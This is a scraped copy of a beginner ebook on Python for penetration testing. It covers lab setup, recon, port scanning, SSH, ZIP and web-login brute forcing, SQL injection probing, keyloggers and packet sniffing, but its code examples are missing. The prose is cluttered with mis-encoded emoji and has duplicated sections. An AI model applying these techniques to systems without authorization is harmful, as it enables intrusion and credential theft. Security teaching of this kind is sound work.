Table of Contents
About Book
What is the book about ?
This book, 'Python for Penetration Tester', is a beginner-friendly guide crafted for aspiring ethical hackers and cybersecurity enthusiasts. It simplifies complex penetration testing techniques and delivers them in a hands-on Python programming format. Whether you're starting your ethical hacking journey or looking to strengthen your automation skills, this book serves as your first powerful step into the world ofΒ cybersecurity.
About Author
Who is the author ?
Ashish Kumar Mishra, also known online as Cyber_Squad6351, is a passionate young programmer and cybersecurity enthusiast with over 5 years of coding experience and more than 1.5 years dedicated to ethical hacking. where he shares tools, tutorials, and live sessions to help others learn ethical hacking, Python programming, and real-world cybersecurityΒ practices..
About Cyber_Squad6351
Who is the Cyber_Squad6351 ?
Cyber_Squad6351 is a growing tech community dedicated to teaching cybersecurity and programming through hands-on practice. It provides valuable resources for beginners and professionals alike.
β
What We Offer:
Live One-on-One Mentorship
Personalized learning sessions and direct guidance from Aditya and the Cyber_Squad team.
Well-structured reference sheets for Programming Languages (Python, Bash, etc.) designed for
quick lookup and learning.
Comprehensive cheatsheets for essential Hacking Tools (Nmap, Metasploit, Burp Suite, etc.)
with command examples and usage patterns.
Interactive sessions to solve real-time problems for learners. Join our community of
cybersecurity enthusiasts.
Easy-to-follow tutorials and tool usage guides written for all skill levels. From beginner
to advanced techniques.
Download and learn from real cybersecurity tools created by Cyber_Squad6351. Practical
Python applications in cybersecurity.
Roadmaps to help you go from absolute beginner to cybersecurity professional with clear
milestones and resources.
Guidance on certifications, interview preparation, and building a strong online presence in
cybersecurity industry.
π Hey hackers and cyber enthusiasts! π¨βπ»π©βπ» Ready to dive into the world of ethical hacking? If youβve ever been curious about how hackers
break
into
systems (legally, of course!), penetration testing is your golden ticket. π« This chapter is your first step into that thrilling worldβwhere code meets cyber defense, and
Python
becomes your weapon of choice. ππ» Penetration Testing (or Pentesting) is the legal process of simulating a cyberattack to find
vulnerabilities in systems, networks, and applications before real hackers do. Think of it like
hiring
a
hacker to test your digital locks before the bad guys show up. ππ βItβs like being a friendly hacker who breaks into systems β but with permission β just to make
them
safer.β Hereβs why organizations love ethical hackers:
Here are the most common types you'll explore as a penetration tester:
Identify flaws in servers, firewalls, routers, and other network
gear.
Find vulnerabilities in websites, such as XSS, SQL injection, and
CSRF.
Test human vulnerabilities (like phishing or USB drops). Crack WiFi passwords and test wireless encryption methods. See if someone can gain physical access to secure locations. Hey future cyber defenders! π¨βπ»π©βπ» Ever wondered why every ethical hacker and cybersecurity pro swears by Python? Whether you're
scanning networks, automating attacks, or writing malware (for learning purposes only π
),
Python is
the ultimate sidekick in your hacking journey. Letβs explore why Python has such a massive role in the cybersecurity world. ππ₯ Python has a clean and simple syntaxβalmost like writing English. This makes it super
beginner-friendly, especially for cybersecurity students who want to build tools fast without
learning complex programming rules. π‘ Think of Python as the βGoogle Translateβ between your hacking ideas and working tools. One of Pythonβs biggest strengths is its massive library support. Need to scan ports? Automate
browser actions? Scrape a website? Thereβs a library for almost everything: This means you can build hacking tools in minutes, not hours! βοΈπ₯ Hackers love automation β and Python is king at it! π From brute-force login attempts to scanning hundreds of IPs, Python lets you write scripts that
do all the boring stuff automatically. Less typing, more hacking. π
Python isn't just for attackers β itβs also used for defense! So whether you want to break in or keep others out β Pythonβs got your back on both sides. πβοΈ
Python plays nice with popular tools like: You can even write custom plugins, automate tool output, or build wrappers around these tools
using Python. Python has a massive hacking community! That means: Youβre never alone on your Python hacking journey. π¬ To put it simply: If Linux is your battleground, then Python is your sword. Learning Python for cybersecurity is not optional anymore β itβs a must if you want to build,
break, and defend systems efficiently. Ready to see Python in action? Stick with usβthis book will show you how to go from zero to
writing real-world hacking scripts! ππ»π£ Hey cyber warriors! π¨βπ»π©βπ» In the hacking world, not all hackers are the same. Some break things to protect, some to
destroy, and some⦠well, they walk a fine line between good and bad. This chapter will help
you understand the different types of hackers based on their intentions and actions. Letβs meet the three main types: Black Hat, White Hat, and Grey Hat Hackers. π©βͺβ« Black Hat Hackers are the bad guys of the internet. They break into systems, steal data,
spread malware, and cause damage β all without permission. Their actions are illegal and
unethical. π‘ π Think of them as cybercriminals who hack for personal gain, revenge, or fun.
𧨠What they do: β Why itβs wrong: White Hat Hackers are the good guys! π¦ΈββοΈ They use their skills legally and ethically to protect systems. They work as penetration
testers, security analysts, or bug bounty hunters, helping companies find and fix
vulnerabilities before black hats can exploit them. β
They hack with permission and get paid to protect! π‘οΈ What they do: π Why theyβre awesome: Grey Hat Hackers live in the middle β not fully good, not totally bad. They might break into a system without permission, but instead of stealing data, they report
the flaw to the owner. Sometimes they ask for a reward⦠sometimes not.
π€ Their intentions might be good, but their actions are still technically illegal. π What they do: β οΈ The problem: Before learning to hack, you must choose your hat color wisely. This book is designed for white hat hackers β people who want to protect, not destroy.
Understanding the difference helps you stay legal, ethical, and respected in the cybersecurity
community. Whether you're coding tools or scanning networks, what truly defines a hacker is their
purpose. Choose to use your skills for good, and you'll become a cyber guardian, not a cyber
threat. So, which hat are YOU going to wear? π©π» (Hint: White looks great on you π) To put it simply: If Linux is your battleground, then Python is your sword. Learning Python for cybersecurity is not optional anymore β itβs a must if you want to
build,
break, and defend systems efficiently. Ready to see Python in action? Stick with usβthis book will show you how to go from zero to
writing real-world hacking scripts! ππ»π£ Hey future white-hat warriors! βοΈ Before you fire up that terminal and start writing Python scripts to test networks, you
must understand the law and your ethical responsibility. Ethical hacking isnβt just about
skills β itβs also about doing things the right way.
This chapter will walk you through all the legal and ethical principles every penetration
tester should know before touching any target. π¨ Ethical hacking is the legal process of testing a systemβs security to find
vulnerabilities β with full permission from the owner. In short: You hack to help, not harm. Ethical hackers are also known as: They use their skills to protect companies, apps, users, and data. Just like real-world crime, cybercrime has rules β and breaking them leads to serious
consequences. Different countries have their own cybersecurity laws, such as: These laws define: Always stay informed about the laws in your country or region. Illegal hacking is when someone breaks into a system or network without permission β even
if no harm is done.
Examples of illegal hacking: Remember: No permission = illegal action β BBefore you run any script, scan, or exploit β get written permission from the target's
owner. This is often done through: Without permission, you're just a black hat with good intentions β and that doesnβt hold
up in court. βοΈ If you break the law, even unintentionally, you can face: Your hacking journey should build your career, not destroy it. As a responsible ethical hacker, you should follow a strong code of conduct: Ethical hackers donβt just follow rules β they live by them. π In cybersecurity, your reputation is your resume. If Linux is your battleground, then Python is your sword. The line between a hero and a villain is often just permission. Mastering hacking tools
is great β but learning how to use them legally and ethically makes you a true
professional. Stay legal. Stay ethical. And protect the digital world like a pro. π‘οΈπ» Hey hackers and future pentesters! π§π» If you're serious about learning ethical hacking, the first thing you need is a
safe and legal environment to test tools and run exploits. Thatβs where your
hacking lab comes in β a fully controlled setup where you can
break things without consequences. π§ͺ
This chapter will guide you step-by-step on how to create your own virtual
hacking playground. A hacking lab lets you test tools, scripts, and vulnerabilities without
touching real networks. Itβs private, safe, and 100% legal. Hereβs what youβll need to build a beginner-friendly hacking lab: You can set these up all on your existing PC/laptop! Download and install VirtualBox (free) or VMware Workstation Player. These tools
let you run other operating systems like Kali Linux as virtual machines, without
affecting your host system. Kali Linux is a Linux distribution packed with hacking tools β
pre-installed and ready to use. You can download the ISO from kali.org/get-kali and import it into VirtualBox. Once installed, youβll have access to tools like Nmap, Wireshark, Metasploit, and
more β right out of the box! π To test your skills, youβll need something to hack into. Thatβs where vulnerable
machines come in. Make sure your VMs are set to βInternal Networkβ or
βHost-Only Adapterβ. This keeps your lab disconnected
from the internet β so you donβt accidentally attack anything outside
your system. π Want instant cloud-based labs without installing anything? Both platforms offer realistic hacking environments β all online! π Setting up your lab is one of the most exciting parts of becoming an ethical
hacker. Youβll have a space to learn, break things, and build your confidence β
without breaking the law. π Once your lab is ready, weβll start building tools and testing techniques using
Python! Hey coders and cyber learners! π¨βπ»π©βπ» If you're diving into ethical hacking with Python, the first step is to make sure
you have Python installed on your system. Whether you're using Linux or Windows,
setting it up is quick and simple. Letβs get started! βοΈ Most Linux distros (especially Kali Linux and Parrot OS) come with Python
pre-installed. You can check the version by opening your terminal and typing: If it's not installed or you want to update it: You may also want to install pip (Python's package manager): Follow these steps to install Python on a Windows machine: Once installed, open Command Prompt and run: You should see the installed version appear. β
To make sure everything is working, run these two commands: If both show version numbers, you're good to go! π Hey cyber explorers! π§βπ»π Virtual Machines (VMs) are the backbone of any hacking lab. They let you run
multiple operating systems β like Kali Linux or Parrot OS β safely inside your
existing system, so you can experiment, hack, and learn without breaking anything.
π₯ A Virtual Machine is a software-based computer inside your real computer. You can
install operating systems, test tools, and practice attacks β all isolated from
your main OS. Popular VM platforms include: Kali Linux is a go-to OS for ethical hackers. Here's how to install it: Parrot Security OS is another great choice β lightweight and privacy-focused. π‘ Tip: Take snapshots after setting up your VM β so you can restore it easily if
something goes wrong. Hey hackers! πβοΈ Before diving into Python-powered hacking tools, you need to install some
powerful Python libraries. These libraries make your scripts smarter, faster, and
more capable β from scanning ports to scraping websites and beyond. Python libraries are pre-written code packages that help you do complex tasks
with just a few lines of code. Instead of writing everything from scratch, you can
use libraries for tasks like networking, automation, data handling, and more. Example: To see whatβs already installed, you can use: Itβll show you all available libraries along with their versions. On some systems, especially Linux, you may need to use: And donβt forget β you might need to use Hey command-line ninjas and code crafters! π§βπ»π₯ Before you start writing Python scripts for hacking, it's important to get
comfortable with your tools β the terminal and your coding environment. Whether
you're on Linux, Windows, or Mac, this chapter will show you how to navigate like
a pro. π The terminal (or command-line interface) lets you interact with your system using
text-based commands. For hackers, itβs where the real magic happens β scanning
networks, launching scripts, cracking passwords... all start here. Examples of terminal commands: An IDE (Integrated Development Environment) is a tool that helps you write, test,
and debug your code more easily. It offers features like: VS Code is one of the most popular editors used in cybersecurity and programming.
Hereβs how to get started: With VS Code and the terminal combined, youβll be building and executing tools
like a true cyber wizard. π§ββοΈπ Yo hackers! π¨βπ»π©βπ» If youβre dreaming about building your own hacking tools, automating scans, or
just flexing your Python skills like a true cyber ninja β this is where it all
begins. Python is the most powerful (and friendly!) language for penetration
testers and ethical hackers. π£ This unit is all about getting your Python basics on point β so you can write
scripts, break stuff (ethically!), and make your own mini-tools. No boring theory,
just hacker-focused Python goodness. π»π₯ Weβve already launched our Elite Python Series as part of the
Elight Programming Series β and guess what? Itβs totally free for
our community. π
Itβs designed especially for beginners in ethical hacking and includes: Join the series anytime and learn at your pace. Youβre not just learning Python β
youβre learning the hackerβs version of it. βοΈπ Now letβs get into the code and start your Python hacking journey! Hey Python ninjas! πβ‘ If you want to build tools that automate scans, crack passwords, or parse
responses β youβll need to understand the core building blocks of
Python. This chapter is your hacker-friendly crash course into
variables, data types, loops, and functions. Letβs break it
down! π
Variables are like labeled containers where you store data. In hacking
scripts, they can store targets, usernames, passwords, IPs, and more. Python automatically understands what kind of data youβre using. Here are
the main types: Loops help you run the same block of code multiple times. Hackers use loops
for brute-force attacks, fuzzing, scanning ranges, etc. For loop example: While loop example: Functions let you organize your code into reusable blocks. Think of them
like small machines that do a specific task β like scanning a port or
checking a login. In real hacking tools, functions are used to handle tasks like building
payloads, sending requests, or parsing responses. Hey hackers! πβ οΈ As you build hacking tools in Python, youβll often need to read
files like wordlists, store results, or
log responses. Thatβs where file handling comes in. But
what if your script crashes when a file is missing? Thatβs where exception
handling saves the day. π§―
Python makes it super easy to read and write files β great for logging
outputs, loading target IPs, or importing payloads. Reading a file: Writing to a file: Sometimes files donβt exist, network errors occur, or inputs crash your
code. Instead of letting your script fail, Python lets you catch errors and
handle them smartly. Use exception handling to make your hacking scripts more stable and
professional β especially when you share tools with others. π§βπ»
Hey hackers! ππ When youβre building Python hacking tools, you'll often deal with data β
like storing scan results, parsing APIs, or exporting usernames and
passwords. Two of the most common formats are JSON and
CSV. Letβs see how to handle them like a pro! πΌ
JSON (JavaScript Object Notation) is a lightweight data format used widely
in web APIs and modern applications. Python makes it easy to read and write
JSON using the Reading JSON data: Writing JSON data: CSV (Comma-Separated Values) is great for storing tabular data β like
username lists, IPs with ports, or results from brute-force attempts. Reading a CSV file: Writing to a CSV file: Now you can easily interact with APIs (JSON) and store your results (CSV)
like a true cyber dev! π₯ Hey hackers! ππ If you're serious about ethical hacking, you need to understand how
computers talk to each other. Python makes networking super simple and
powerful β whether you're scanning ports, sending requests, or building
custom clients. This chapter covers the basics of networking with Python so you can start
writing your own scripts to connect, communicate, and control devices. π
Networking in Python is all about using code to send and receive data
between computers β locally or over the internet. You can use Python to: The Simple, right? This is the core of many hacking tools β sending crafted
requests and reading what comes back. βοΈ Up next, weβll build real tools like port scanners, TCP clients, and banner
grabbers using this power. But first, master this foundation. π‘ Hey cyber coders! ππ The Letβs explore how this powerful module works and how you can use it in your
own scripts. π§ The It supports: This script sends a basic HTTP request and prints the response β a powerful
start to understanding how the internet talks! π The Now that youβve met the Hey socket masters! π§ π Now that youβve been introduced to the TCP (Transmission Control Protocol) is used for reliable, connection-based
communication β like HTTP, SSH, FTP, etc. Hereβs a basic TCP client that
connects to a target and sends a message: π― Use cases: Web fuzzing, banner grabbing, interacting with services (like
FTP, SMTP) UDP (User Datagram Protocol) is faster but connectionless β meaning it just
sends data without checking if it arrives. Hereβs a basic UDP client: π― Use cases: DNS queries, custom payload fuzzing, broadcasting scripts And thatβs it! Youβve just built your first raw network clients using
Python. These basics will power many of the tools you build next β like port
scanners, reverse shells, and more. 𧨠Hey info hunters! π§ π°οΈ Banner grabbing is one of the first steps in recon and
enumeration. Itβs a technique used to gather information about a target
system by connecting to open ports and reading the response β called the
βbanner.β This banner often reveals details like the service type, version,
and sometimes even the operating system. π A banner is the initial message sent by a service running on a port. For
example, an FTP server might respond with its name and version: By grabbing this info, we can identify vulnerabilities or choose the right
exploit. π― This script connects to a target IP and port, reads the banner, and prints
it out. You can use this method on ports like 21 (FTP), 22 (SSH), 80 (HTTP),
443 (HTTPS), etc. βοΈ Warning: Always perform banner grabbing on targets you own
or have permission to test. Unauthorized scanning can be illegal. π Hey recon masters! π΅οΈββοΈπ Before you can hack anything, you need to know what youβre
hacking. Thatβs where information gathering
comes in β the first step of any penetration test. In this chapter, weβll
see how to write Python tools that automate recon and help you discover
domains, IPs, emails, and more. π§° In ethical hacking, knowing your target is half the battle. By gathering
open data (OSINT), you can: This info helps you choose the right exploits and avoid blind guessing. π―
Instead of running dozens of manual commands, Python lets you build scripts
to automate: With a few lines of code and the right libraries, you can build your own
recon toolkit. β‘ In the next chapters, youβll write scripts to: By the end, youβll have your own Python-powered recon suite β built by you,
for you. π Hey recon pros! ππ One of the easiest ways to start gathering information about a target
domain is by doing a WHOIS lookup. It tells you who owns
the domain, when it was created, where itβs registered, and sometimes even
contact details. π WHOIS is a protocol that queries databases to find out βWho isβ responsible
for a domain name or an IP address. Ethical hackers use it during the recon
phase to: With Python, you can automate WHOIS queries and integrate them into your
custom recon tools. Here's a basic example using the Simple, fast, and powerful! π― Up next, weβll combine this with other tools to map out IPs, DNS records,
and subdomains β turning data into real hacking targets. π§ π» Hey network detectives! π΅οΈββοΈπ After WHOIS lookups, the next step in recon is tracking IP
addresses and DNS records. This helps you find where a domain
points, map its infrastructure, and sometimes reveal hidden servers or
backup domains. π‘ Tracking IPs and DNS helps ethical hackers: Python makes DNS queries easy using libraries like Want to see more than just the main IP? Use This technique helps map a targetβs footprint, spot hidden servers, and
guide your next scan. π§π‘ Next, letβs dig even deeper by scanning for subdomains! π Hey recon hunters! π΅οΈββοΈβ¨ Big websites donβt just run on www.example.com. They often
have lots of subdomains like Subdomains can: We can automate subdomain discovery using Python and a wordlist. Hereβs a
basic script: β‘ This script tries each subdomain and checks if it resolves. If it does β
bingo! Youβve discovered a live subdomain to investigate further. Tip: You can make it stronger by using larger wordlists, adding
multithreading, or combining it with DNS brute-forcing tools. π§°π Hey data miners! π§π΅οΈββοΈ During recon, itβs super useful to extract email addresses from websites.
These can be used for OSINT, phishing simulations, or just mapping your
targetβs digital footprint. Python makes it crazy easy using
requests and BeautifulSoup. πβ¨
π― This script pulls all text from the page, uses regex to find anything
that looks like an email, and prints it. Great for building your own OSINT
tools! Hey cyber defenders! π‘οΈβ‘ Finding open ports is just the start β real ethical hackers go further by
checking for known vulnerabilities on those ports. This
chapter shows how to combine port scanning with basic vulnerability scanning
in Python. π― Open ports tell you where a service is running, but vulnerability
scanning helps you learn what might be exploitable. Combining the
two helps you find real weaknesses instead of just open doors. πͺβ οΈ Hereβs an example script that connects to ports and grabs banners, which
often reveal software versions: π― Once you have the banner, you can manually check it against
vulnerability databases like CVE details or exploit-db. For real projects, you can: This approach turns your script from a simple port scanner into a real
pentest helper tool! π§°π Hey speed hackers! ππ§° Port scanning is a classic technique to discover which services are running
on a target system. Python makes this easy with the Without threading, your scanner checks one port at a time β slow and
boring. Threading lets your script check multiple ports at once, cutting
scan time drastically. π§΅β¨ π― This scanner loops over the port list and starts a new thread for each
scan β quick, simple, and powerful! Tip: You can expand it to scan larger port ranges or save results to a
file. ππ§ Hey advanced hackers! π§ββοΈβ‘ Banner grabbing isnβt just for finding open ports β itβs a recon technique
to identify service versions, software types, and even possible
vulnerabilities. In this advanced look, we'll see how to make
your banner grabber smarter and more useful for pentesting. π Simple scripts only connect and read the first response. A smarter banner
grabber can: Hereβs a Python script that sends an HTTP GET request to get banners from
web servers: π― This way, you get the server header, technologies used (like Apache,
nginx), and sometimes even version numbers. Expand your script to: With banner grabbing, you go from "is this port open?" to "what software is
running here β and can I find a CVE for it?" π§ π₯ Hey code crackers! π§βπ»π One of the most common real-world attacks is trying to guess a targetβs
password β also called password cracking. Python makes it
easy to write scripts for brute force attacks and
dictionary attacks. Letβs see how they work! π£
Hereβs a simple script that checks each password in a wordlist: β οΈ Always test only on systems you own or have permission for. Unauthorized
brute force attacks are illegal! π¨ Instead of trying words from a file, a brute force attack tries all
combinations β for example, all 4-digit PINs: In real hacking, brute force is slow and noisy β but dictionary attacks
(using common passwords) can be surprisingly effective. π― Next, letβs see how to target specific services like SSH or ZIP files! π¦π
Hey penetration testers! π§βπ»π SSH is a common target for brute force attacks because it often protects
critical systems. In this chapter, you'll see how to build a simple
SSH brute forcer in Python using the π― This script tries each password in the list until it finds the correct
one. For real use, you'd load a bigger wordlist from a file and add more
error handling. β οΈ Note: SSH brute forcing is noisy and can trigger firewalls or IP blocks.
Use responsibly and always with permission! π‘οΈ Hey file busters! ποΈπ₯ Sometimes during pentests, you might come across password-protected ZIP
files. With Python, you can write a brute force script to
crack them by trying passwords from a wordlist. ππ Weβll use Pythonβs built-in π― You can replace the small list with a big dictionary file to increase
your chances. β οΈ Warning: Brute forcing can be slow if the list is large, and should
always be done ethically and with permission! π‘οΈ Hey brute force builders! ππ οΈ Wordlists are the backbone of dictionary attacks and brute forcing. Instead
of downloading huge files, why not generate custom wordlists that fit your
target? In this chapter, youβll see how to write your own Python
wordlist generators. πβ‘ Custom wordlists can include: This makes your brute force attacks smarter and more effective! π― π― This script writes basic words and combines them with symbols, creating
a small but targeted list. With β οΈ Tip: Be careful! Large combinations can produce millions of entries very
quickly. 𧨠Custom wordlists = smarter attacks, faster success. Ready to use them in
your brute forcers? π Hey bug hunters! π·οΈπ The web is full of targets β from login forms to hidden admin panels. In
ethical hacking, web exploitation means finding and abusing
security flaws in web apps, but always with permission! Letβs look at the
basics every hacker should know. π Itβs the art of: Python helps automate boring and repetitive tasks, like: Web exploitation is one of the most creative areas of hacking β you write
code, analyze responses, and think like an attacker. Ready to go deeper?
Letβs do it! π Hey form breakers! ππ Many web apps hide sensitive data behind login forms. With Python, you can
automate brute force attacks to guess passwords and test
the strength of those forms β but always with permission! β οΈ The idea is simple: π― This script stops when it finds the correct password. In real testing,
youβd use larger wordlists and better response detection. Brute forcing login forms can overload servers and is illegal without
explicit permission. Always test responsibly on your own apps or approved
targets! π‘οΈ Hey injection hunters! π§ͺπ SQL Injection (SQLi) is one of the most common and dangerous web
vulnerabilities. Python can help you test web apps
automatically by sending crafted inputs and checking for signs of
vulnerability. π It happens when an application blindly adds user input into a SQL query β
letting attackers change the logic, dump data, or even take over the
database! 𧨠This simple script tests a URL by adding a single quote π― This is a basic check β real tools test many payloads and analyze
responses more deeply. Only test your own sites or ones where you have explicit permission. SQLi
can cause data leaks or crashes! π‘οΈ Hey fuzzers! ππ Directory fuzzing is a powerful technique for discovering hidden
files and folders on web servers. Python makes it easy to
automate this using the Itβs about sending lots of HTTP requests to guess paths like
π― Replace the small list with a bigger wordlist to improve your chances.
You can also add extensions like Directory fuzzing can generate lots of traffic. Always do it on your own
systems or with permission! π‘οΈ Hey lazy hackers! ππ€ Real hackers donβt repeat the same boring commands every day β they
automate them! With Python, you can script anything from
running scans to parsing results and even sending alerts. Letβs see why
automation makes you a smarter pentester. πβ‘
Automation helps you: π― This script launches Nmap and saves the output to a file automatically.
You can write scripts to: Automation isnβt just about saving effort β itβs about being efficient,
fast, and always one step ahead. ππ§ Hey OSINT wizards! ππ§ββοΈ Google isnβt just for searching memes β itβs a powerful hacking tool when
you know how to use Google Dorks. With Python, you can
automate Google searches to find hidden pages, sensitive files, and exposed
directories. β‘ Google Dorks are advanced search queries like: They help you discover data most people never see! π§° Hereβs a basic script to open dorks in your browser automatically: π― Instead of typing dorks one by one, this script opens them instantly β
saving time during recon! Google may block you if you run too many automated searches. Always use
responsibly and add delays if needed! π‘οΈ Hey recon warriors! π΅οΈββοΈβ‘ Manual recon can be slow and repetitive. Why not use Python to
automate your favorite recon tools like
Instead of running tools one by one, your script can: π― This script runs theHarvester, searches multiple sources, and saves
results to HTML. You can also: With automation, your recon becomes faster, consistent, and repeatable β
just like real-world pentesters do! π‘π₯ Hey automation hackers! π§βπ»π APIs are like secret doors into apps, tools, and databases. In ethical
hacking, you can use APIs to collect data, check vulnerabilities, or even
automate entire workflows. Letβs see how Python makes API
hacking easy! β‘ API stands for Application Programming Interface. It lets
software talk to other software β so instead of scraping messy HTML, you get
clean, structured data. π§° π― The APIs let your Python scripts work smarter, not harder β turning them into
real hacking assistants! ππ» Hey automation hackers! π§βπ»π APIs are like secret doors into apps, tools, and databases. In ethical
hacking, you can use APIs to collect data, check vulnerabilities, or even
automate entire workflows. Letβs see how Python makes API
hacking easy! β‘ API stands for Application Programming Interface. It lets
software talk to other software β so instead of scraping messy HTML, you get
clean, structured data. π§° π― The APIs let your Python scripts work smarter, not harder β turning them into
real hacking assistants! ππ» Hey malware hunters! ππ VirusTotal is one of the most popular online tools for
checking files and URLs against dozens of antivirus engines. With the
VirusTotal API, you can automate this process right inside
your Python scripts! π
Instead of manually uploading each file or URL: π― Replace After submitting, you can check the scan report: β οΈ Always read VirusTotalβs terms and rate limits β and only scan data
youβre allowed to! π‘οΈ Hey automation hackers! ππ’ Imagine running a scan or brute force script β and getting a Telegram
message when it finds something. With Python, you can build your own
Telegram bot to send alerts directly to your phone! π
Because itβs free, fast, and has an awesome API. Perfect for getting
updates while your tools run in the background. β‘ First, create a bot with BotFather and get your π― Replace Now your hacking tools can literally talk to you! π€π² Hey ethical hackers! π§βπ»π Keyloggers record every keystroke on a machine β theyβre powerful for
understanding how malware works, but remember: use them only in your
own lab or with explicit permission. β οΈ A keylogger captures keys pressed by the user. Attackers use them to steal
credentials; ethical hackers use them to learn, test defenses, or build
anti-keylogging tools. π‘οΈ We can use the π― This script prints each key to the console. In real projects, you'd
write them to a file instead. Never run a keylogger on someone else's machine without consent. Use it to
understand how attackers work β so you can build defenses! π‘οΈπ§ Hey packet ninjas! π§βπ»π‘ Network sniffers capture and analyze packets moving through the network.
Theyβre great for troubleshooting, analyzing protocols, or learning how data
flows β and yes, theyβre a classic tool in a hackerβs toolbox. β‘ A sniffer listens to network traffic on an interface. Ethical hackers use
it to see unencrypted data, detect suspicious activity, or understand
protocols. π§° Using the π― Replace Sniffing traffic on networks you donβt own or control is illegal. Always
use your own lab, test network, or permission-based environment! π‘οΈ Ready to see what really travels over the wire? Letβs sniff some packets!
ππ‘ Hey vulnerability hunters! π§βπ»π‘οΈ A vulnerability scanner checks systems for known weaknesses β like outdated
software or default credentials. Letβs build a simple Python
scanner to get started! π Our scanner will: Itβs basic β but it teaches the foundations of real scanners! π§° π― This scanner checks banners for known vulnerable strings. You can expand
it with bigger lists, CVE checks, or API integrations later! Only scan systems you own or have permission to test. Unauthorized scanning
can break things or trigger alerts! π‘οΈ Hey automation pros! π€π’ Imagine running a scan or brute force script and instantly getting the
results on your phone via Telegram. With Python, itβs easy to build your own
alert bot that keeps you updated wherever you are! π
Instead of checking logs manually, your script can: First, create a bot with BotFather and get your π― Replace placeholders with your real values. Now your Python script can
send real-time alerts to your Telegram! Now your tools donβt just run β they talk back to you.
Hacker automation level: unlocked! ππ²π Hey ethical hackers! π‘οΈπ Before you start scanning, fuzzing, or brute forcing, itβs critical to know
where you can legally practice. Ethical hacking means
hacking with permission β and staying on the right side of the law. βοΈβ¨
Only test systems you: Testing random websites or IPs without consent can lead to legal trouble!
π« Practice safely on platforms built for hacking: Even legal platforms have scope and rules. Always check: π― Ethical hacking isnβt just about skills β itβs about using them
responsibly. Hack smart, hack safe, and hack legally! ππ‘οΈπ Hey hands-on hackers! π§βπ»π§ The best way to master ethical hacking isnβt just by reading or coding β
itβs by practicing in real, controlled environments. Letβs
explore some of the most popular legal labs every pentester should know! π
One of the most famous platforms where you hack into intentionally
vulnerable machines. Youβll find everything from beginner-friendly boxes to
advanced challenges that feel like real-world pentests. π΄ββ οΈ Great for step-by-step learning. Rooms cover topics like web hacking,
privilege escalation, and network scanning β often with detailed guides and
walkthroughs. π§ A deliberately insecure web app by OWASP, perfect for learning web
vulnerabilities like XSS, SQLi, and more. Test your scripts or practice
manual attacks safely. π Simple, lightweight, and built to break! Great for brute force, injection,
and other web exploitation basics. You can even run it locally on your
machine. π» π― Practicing in these labs helps you build real hacking skills β safely
and legally. Set up your environment, write your scripts, and start
exploring! ππ₯ Hey ethical hackers! π§βπ»π€ Finding a vulnerability is exciting β but what you do next matters even
more. Responsible disclosure means reporting security
issues safely, legally, and ethically to help fix them without putting
anyone at risk. π‘οΈβ‘ Itβs the process of: Responsible disclosure: π― Remember: ethical hacking isnβt just about finding flaws β itβs about
helping fix them. Thatβs what makes you a real white hat! ππ‘οΈπ Hey pro pentesters! π§βπ»π Finding vulnerabilities is important β but your work isnβt done until you
can communicate your findings clearly. Writing good reports
turns raw data into valuable insight for your clients or team. π‘οΈβ¨ Reports help: Good reporting doesnβt just show you can hack β it shows you can
think, explain, and help others stay secure. Thatβs what
makes you truly professional! ππ»β
Hey future cyber pros! π§βπ»π Youβve built tools, automated scans, and explored real-world hacking labs β
so whatβs next on your journey? Ethical hacking is all about
continuous learning and evolving your
skills. Letβs see where you can go from here! π±β¨
Dive deeper into topics like: Start working with powerful libraries and frameworks like: Consider certifications like: π― Remember: the hacking journey never truly ends β thereβs always a new
tool to build, a vulnerability to study, or a system to secure. Keep
learning, keep practicing, and stay curious! ππ»π₯ Hey Python ninjas! ππ§ By now, you know how to write basic scripts and tools β but to build
powerful, professional hacking tools, you need to level up your Python game!
Letβs see what advanced Python skills can take you from
scripting to real software development. π Organize your tools with classes and objects to make them modular,
maintainable, and scalable. Great for building bigger projects like scanners
or bots. π§° Speed up your tools! Use: Turn repeated code into modules you can import, share, or reuse in other
projects. Makes your toolkit cleaner and more professional! β¨ Explore powerful libraries for pentesting, networking, and automation like:
π― Learning advanced Python doesnβt just make you a better coder β it makes
you a better hacker by giving you the power to build
smarter tools. ππ»π₯ Hey advanced hackers! π§βπ»π§ Basic scripts are great β but if you want to build real-world
tools, itβs time to explore powerful frameworks like
Scapy and Metasploit. These can help you
craft packets, automate exploits, and supercharge your hacking skills! π
Scapy lets you build, send, sniff, and analyze custom packets in Python:
π― Perfect for network scanning, fuzzing, and learning how protocols really
work! Metasploit isnβt just a GUI tool β you can automate it with Python (e.g.,
via β οΈ Use responsibly! Automating exploits is powerful but risky β always test
in labs or with permission. π‘οΈ π― Frameworks turn you from a script user into a tool builder β unlocking
advanced pentesting skills! ππ₯ Hey future professionals! π§βπ»π Learning Python and practicing in labs is awesome β but if you want to
prove your skills to employers or clients, certifications
can open doors. Letβs see why certs like CEH and
OSCP matter and what they cover! π
Your Python knowledge can give you an edge by: π― Remember: a certificate alone doesnβt make you a hacker β practice,
projects, and continuous learning do. But certs help you show the world what
you know! ππ»π₯ Hey quick-reference ninjas! π§βπ»β‘ When youβre in the middle of a test, it helps to have a handy cheat
sheet of Python commands and code snippets. Hereβs a quick list
every ethical hacker and pentester can use to save time! ππ π― This cheat sheet helps you remember common tasks while coding your
tools, automating scans, or writing scripts during a pentest. Quick, simple,
and hacker-approved! ππ»π₯ Hey tool lovers! π οΈπ Python has an incredible ecosystem for cybersecurity. Hereβs a quick guide
to 20 powerful Python security tools you can explore, along
with what theyβre used for. Perfect for inspiration, automation, or building
your own toolkit! π π― Explore these tools, study their code, and get inspired to write your
own. Python makes it easier than ever to build tools tailored to your
workflow! ππ»π₯ Hey future cybersecurity pros! π§βπ»π Mastering Python for pentesting is just the start β next comes turning your
skills into a real job! Letβs look at common interview
questions and how you can build your career path
in ethical hacking. π‘οΈβ¨ π― Interviews arenβt just about right answers β theyβre about showing
passion, curiosity, and real-world practice. Keep building, keep coding, and
stay hungry to learn! ππ»π₯ Python for Penetration Testing is a comprehensive guide that teaches ethical
hacking and cybersecurity techniques using Python. This book is ideal for
beginners, cybersecurity enthusiasts, and IT professionals who want to automate
penetration testing tasks and enhance security skills. The book covers Python basics such as variables, loops, functions, and classes,
and advanced topics including network programming, web scraping, socket
programming, automation scripts, and building hacking tools for penetration
testing. No prior hacking experience is required. This book is designed for beginners,
providing step-by-step instructions to learn both Python programming and
practical penetration testing techniques. You can practice all examples and scripts on major operating systems including
Windows, Linux distributions (Kali Linux recommended), and macOS. The book
provides instructions compatible with each platform. After studying this book, you can perform tasks such as network scanning,
vulnerability assessment, brute-force attacks, password cracking automation, web
